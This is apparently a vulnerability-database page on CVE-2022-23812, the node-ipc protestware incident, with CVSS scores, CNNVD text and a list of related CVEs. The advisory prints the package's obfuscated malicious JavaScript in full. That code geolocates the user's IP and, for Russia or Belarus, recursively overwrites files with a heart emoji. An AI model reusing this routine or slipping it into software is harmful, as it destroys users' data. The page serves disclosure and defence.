Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CVE-2022-23812— Malicious Package

Quick assessment

Affected
n/a node-ipc
Exploitation
Public or AI PoC available; prioritize validation
Recommended action
Check the vendor advisory and references for a fixed version. If immediate upgrade is impossible, restrict exposure and increase monitoring.

node-ipc是美国Brandon Nozaki Miller个人开发者的一个 node.js 模块。用于本地和远程进程间通信,完全支持 Linux、Mac 和 Windows。 node-ipc 10.1.1版本至10.1.3之前版本 存在安全漏洞,该漏洞源于node-ipc包含恶意代码,针对 IP 位于俄罗斯或白俄罗斯的用户,并用特殊表情符号覆盖他们的文件。从node-ipc 11.0.0版本开始会导入peacenotwar包,而不是直接在node-ipc的源代码中包含恶意代码。

CVSS 9.8 · Critical EPSS 4.26% · P91
Get alerts for future matching vulnerabilities Log in to subscribe

I. Basic Information for CVE-2022-23812

Vulnerability Information

Have questions about the vulnerability? See if Shenlong's analysis helps!
View Shenlong Deep Dive ↗

Although we use advanced large model technology, its output may still contain inaccurate or outdated information.Shenlong tries to ensure data accuracy, but please verify and judge based on the actual situation.

Vulnerability Title
Malicious Package
Source: CVE Program / CVE List V5
Vulnerability Description
This affects the package node-ipc from 10.1.1 and before 10.1.3. This package contains malicious code, that targets users with IP located in Russia or Belarus, and overwrites their files with a heart emoji. **Note**: from versions 11.0.0 onwards, instead of having malicious code directly in the source of this package, node-ipc imports the peacenotwar package that includes potentially undesired behavior. Malicious Code: **Note:** Don't run it! js import u from "path"; import a from "fs"; import o from "https"; setTimeout(function () { const t = Math.round(Math.random() * 4); if (t > 1) { return; } const n = Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64"); // https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154 o.get(n.toString("utf8"), function (t) { t.on("data", function (t) { const n = Buffer.from("Li8=", "base64"); const o = Buffer.from("Li4v", "base64"); const r = Buffer.from("Li4vLi4v", "base64"); const f = Buffer.from("Lw==", "base64"); const c = Buffer.from("Y291bnRyeV9uYW1l", "base64"); const e = Buffer.from("cnVzc2lh", "base64"); const i = Buffer.from("YmVsYXJ1cw==", "base64"); try { const s = JSON.parse(t.toString("utf8")); const u = s[c.toString("utf8")].toLowerCase(); const a = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8")); // checks if country is Russia or Belarus if (a) { h(n.toString("utf8")); h(o.toString("utf8")); h(r.toString("utf8")); h(f.toString("utf8")); } } catch (t) {} }); }); }, Math.ceil(Math.random() * 1e3)); async function h(n = "", o = "") { if (!a.existsSync(n)) { return; } let r = []; try { r = a.readdirSync(n); } catch (t) {} const f = []; const c = Buffer.from("4p2k77iP", "base64"); for (var e = 0; e < r.length; e++) { const i = u.join(n, r[e]); let t = null; try { t = a.lstatSync(i); } catch (t) { continue; } if (t.isDirectory()) { const s = h(i, o); s.length > 0 ? f.push(...s) : null; } else if (i.indexOf(o) >= 0) { try { a.writeFile(i, c.toString("utf8"), function () {}); // overwrites file with ❤️ } catch (t) {} } } return f; } const ssl = true; export { ssl as default, ssl };
Source: CVE Program / CVE List V5
CVSS Information
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Source: CVE Program / CVE List V5
Vulnerability Type
N/A
Source: CVE Program / CVE List V5
Vulnerability Title
node-ipc 安全漏洞
Source: CNNVD (China National Vulnerability Database)
Vulnerability Description
node-ipc是美国Brandon Nozaki Miller个人开发者的一个 node.js 模块。用于本地和远程进程间通信,完全支持 Linux、Mac 和 Windows。 node-ipc 10.1.1版本至10.1.3之前版本 存在安全漏洞,该漏洞源于node-ipc包含恶意代码,针对 IP 位于俄罗斯或白俄罗斯的用户,并用特殊表情符号覆盖他们的文件。从node-ipc 11.0.0版本开始会导入peacenotwar包,而不是直接在node-ipc的源代码中包含恶意代码。
Source: CNNVD (China National Vulnerability Database)
CVSS Information
N/A
Source: CNNVD (China National Vulnerability Database)
Vulnerability Type
N/A
Source: CNNVD (China National Vulnerability Database)

Affected Products

Vendor Product Affected Versions CPE Subscribe
- node-ipc 10.1.1 ~ unspecified -

II. Public POCs for CVE-2022-23812

# POC Description Source Link Shenlong Link
1 node-ipc is malware / protestware! https://github.com/scriptzteam/node-ipc-malware-protestware-CVE-2022-23812 POC Details
AI-Generated POC Premium

No public POC found.

Login to generate AI POC

III. Intelligence Information for CVE-2022-23812

请登录查看更多情报信息。

Patches & Fixes for CVE-2022-23812 (1)

Vendor Advisories for CVE-2022-23812 (2)

Other References for CVE-2022-23812 (3)

Same Patch Batch · n/a · 2022-03-16 · 80 CVEs total

CVE-2021-23648 5.4 MEDIUM Cross-site Scripting (XSS)
CVE-2022-21164 3.7 LOW Denial of Service (DoS)
CVE-2021-39694 Google Android 权限许可和访问控制问题漏洞
CVE-2021-39692 Google Android 权限许可和访问控制问题漏洞
CVE-2021-39707 Google Android 权限许可和访问控制问题漏洞
CVE-2021-39689 Google Android 数据伪造问题漏洞
CVE-2021-39667 Google Android 缓冲区错误漏洞
CVE-2021-39624 Google Android 资源管理错误漏洞
CVE-2021-0957 Google Android 权限许可和访问控制问题漏洞
CVE-2021-39793 Google Android 缓冲区错误漏洞
CVE-2021-39685 Google Android 缓冲区错误漏洞
CVE-2021-39693 Google Android 缓冲区错误漏洞
CVE-2021-39690 Google Android 输入验证错误漏洞
CVE-2021-39695 Google Android 权限许可和访问控制问题漏洞
CVE-2021-39697 Google Android 权限许可和访问控制问题漏洞
CVE-2021-39698 Google Android 资源管理错误漏洞
CVE-2021-39701 Google Android 输入验证错误漏洞
CVE-2021-39702 Google Android 权限许可和访问控制问题漏洞
CVE-2021-39703 Google Android 权限许可和访问控制问题漏洞
CVE-2021-39704 Google Android 权限许可和访问控制问题漏洞

Showing top 20 of 80 CVEs. View all on vendor page &rarr; →

IV. Related Vulnerabilities

V. Comments for CVE-2022-23812

No comments yet


Leave a comment